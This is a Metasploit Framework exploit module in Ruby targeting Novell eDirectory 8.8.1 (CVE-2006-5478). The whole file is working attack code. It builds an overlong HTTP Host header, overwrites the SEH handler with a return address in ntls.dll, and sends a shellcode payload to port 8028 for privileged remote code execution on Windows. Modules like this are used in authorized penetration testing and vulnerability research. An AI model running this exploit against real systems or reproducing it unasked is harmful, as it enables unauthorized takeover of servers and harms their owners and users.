## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Novell eDirectory NDS Server Host Header Overflow', 'Description' => %q{ This module exploits a stack overflow in Novell eDirectory 8.8.1. The web interface does not validate the length of the HTTP Host header prior to using the value of that header in an HTTP redirect. }, 'Author' => 'MC', 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ ['CVE', '2006-5478'], ['OSVDB', '29993'], ['BID', '20655'], ], 'DefaultOptions' => { 'EXITFUNC' => 'seh', }, 'Payload' => { 'Space' => 600, 'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c", 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", }, 'Platform' => 'win', 'Targets' => [ [ 'Novell eDirectory 8.8.1', { 'Ret' => 0x10085bee } ], # ntls.dll ], 'Privileged' => true, 'DisclosureDate' => 'Oct 21 2006', 'DefaultTarget' => 0)) register_options([Opt::RPORT(8028)], self.class) end def exploit connect sploit = "GET /nds HTTP/1.1" + "\r\n" sploit << "Host: " + rand_text_alphanumeric(9, payload_badchars) sploit << "," + rand_text_alphanumeric(719, payload_badchars) seh = generate_seh_payload(target.ret) sploit[705, seh.length] = seh sploit << "\r\n\r\n" print_status("Trying target #{target.name}...") sock.put(sploit) handler disconnect end end